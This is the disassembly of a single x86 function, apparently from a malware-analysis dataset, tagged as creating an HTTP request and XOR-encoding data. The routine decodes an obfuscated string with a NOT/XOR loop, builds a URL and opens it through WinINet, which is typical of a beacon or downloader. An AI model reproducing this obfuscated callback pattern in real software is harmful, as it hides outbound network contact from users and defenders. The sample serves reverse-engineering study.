Function at 0x1000def0
Capabilities:
Create http request
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012003
mov eax, dword fs:[0]
push eax
sub esp, 0x1ac
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [ebp - 0x1b8]
push ecx
call dword [sym.imp.MSVCR100.dll__localtime64]
push 0x418
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
xor ebx, ebx
add esp, 0xc
cmp eax, ebx
je 0x1000df50
mov dword [eax], ebx
jmp 0x1000df52
xor eax, eax
mov ecx, eax
call fcn.10001df0
mov eax, 0x1001baf0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000df61
sub eax, edx
mov esi, eax
mov eax, 0x1001baf0
mov ecx, 0x1001aab0
call fcn.1000fae0
mov esi, 1
mov eax, 0x10016cc8
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0xe8], 0xf
mov dword [ebp - 0xec], ebx
mov byte [ebp - 0xfc], bl
call fcn.1000fae0
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0xfc]
mov dword [ebp - 4], ebx
call fcn.1000de20
add esp, 4
mov edi, eax
mov esi, 0x1001aacc
mov byte [ebp - 4], 1
call fcn.1000f440
mov esi, 0x10
cmp dword [ebp - 0x104], esi
jb 0x1000dfeb
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x104], 0xf
mov dword [ebp - 0x108], ebx
mov byte [ebp - 0x118], bl
cmp dword [ebp - 0xe8], esi
jb 0x1000e020
mov ecx, dword [ebp - 0xfc]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0x1001b2f0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000e028
sub eax, edx
mov esi, eax
mov eax, 0x1001b2f0
mov ecx, 0x1001aa94
call fcn.1000fae0
call fcn.1000db80
mov edi, eax
mov ecx, edi
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x1000e050
sub ecx, edx
mov esi, ecx
mov eax, edi
mov ecx, 0x1001aa40
call fcn.1000fae0
cmp dword [0x1001aaa8], 0x10
mov eax, dword [0x1001aa94]
jae 0x1000e07a
mov eax, 0x1001aa94
mov ecx, eax
mov dword [ebp - 0xe8], 0xf
mov dword [ebp - 0xec], ebx
mov byte [ebp - 0xfc], bl
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x1000e095
sub ecx, esi
mov esi, ecx
lea ecx, [ebp - 0xfc]
call fcn.1000fae0
sub esp, 0x1c
lea ecx, [ebp - 0xfc]
mov eax, esp
mov dword [ebp - 4], 2
mov dword [ebp - 0x1a8], esp
call fcn.100102e0
lea edi, [ebp - 0x118]
call fcn.100110b0
add esp, 0x1c
mov edi, eax
mov esi, 0x1001aae8
mov byte [ebp - 4], 3
call fcn.1000f440
mov edi, 0x10
cmp dword [ebp - 0x104], edi
jb 0x1000e103
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x108], ebx
mov byte [ebp - 0x118], bl
cmp dword [ebp - 0xe8], edi
jb 0x1000e139
mov eax, dword [ebp - 0xfc]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
call fcn.1000db80
sub esp, 0x1c
mov ecx, esp
mov edi, eax
mov dword [ecx + 0x14], esi
mov edx, edi
mov dword [ecx + 0x10], ebx
mov dword [ebp - 0x1a8], esp
mov byte [ecx], bl
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
cmp al, bl
jne 0x1000e158
sub edx, esi
mov esi, edx
mov eax, edi
call fcn.1000fae0
lea edi, [ebp - 0x1a4]
call fcn.100110b0
mov dword [ebp - 0x1a8], eax
push 0x63
lea ecx, [ebp - 0x77]
push ebx
push ecx
mov dword [ebp - 4], 4
call sub.MSVCR100.dll_memset
mov edi, dword [0x1001aacc]
add esp, 0x28
cmp dword [0x1001aae0], 0x10
mov dword [ebp - 0x78], 0x3d327826
mov byte [ebp - 0x74], bl
jae 0x1000e1af
mov edi, 0x1001aacc
sub esp, 0x1c
mov ecx, esp
mov edx, edi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
mov dword [ebp - 0x1ac], esp
mov byte [ecx], bl
lea esi, [edx + 1]
jmp 0x1000e1d0
mov al, byte [edx]
inc edx
cmp al, bl
jne 0x1000e1d0
sub edx, esi
mov esi, edx
mov eax, edi
call fcn.1000fae0
lea edi, [ebp - 0x150]
call fcn.100110b0
mov esi, eax
push 0x63
lea edx, [ebp - 0xdf]
push ebx
mov byte [ebp - 4], 5
push edx
mov byte [ebp - 0xe0], bl
call sub.MSVCR100.dll_memset
add esp, 0x28
xor eax, eax
lea ecx, [ecx]
mov cl, byte [eax + str.DXX_]
not cl
xor cl, 0xd3
mov byte [ebp + eax - 0xe0], cl
inc eax
cmp eax, 0x36
jl 0x1000e210
push esi
lea edx, [ebp - 0xe0]
lea eax, [ebp - 0x16c]
call fcn.10010320
push eax
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 6
call fcn.10010370
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x1a8]
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 7
call fcn.100103c0
mov edi, eax
mov esi, 0x1001aa78
mov byte [ebp - 4], 8
call fcn.1000f440
mov esi, 0x10
cmp dword [ebp - 0x120], esi
jb 0x1000e294
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x120], edi
mov dword [ebp - 0x124], ebx
mov byte [ebp - 0x134], bl
cmp dword [ebp - 0x174], esi
jb 0x1000e2c3
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x174], edi
mov dword [ebp - 0x178], ebx
mov byte [ebp - 0x188], bl
cmp dword [ebp - 0x158], esi
jb 0x1000e2ed
mov ecx, dword [ebp - 0x16c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x158], edi
mov dword [ebp - 0x15c], ebx
mov byte [ebp - 0x16c], bl
cmp dword [ebp - 0x13c], esi
jb 0x1000e317
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x140], ebx
mov byte [ebp - 0x150], bl
cmp dword [ebp - 0x190], esi
jb 0x1000e341
mov eax, dword [ebp - 0x1a4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push ebx
push ebx
push ebx
push ebx
push str.Some_USER_AGENT
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [0x1001aa78]
mov dword [0x1001e828], eax
cmp dword [0x1001aa8c], esi
jae 0x1000e368
mov ecx, 0x1001aa78
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [0x1001ee48], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001115f
mov esp, ebp
pop ebp
ret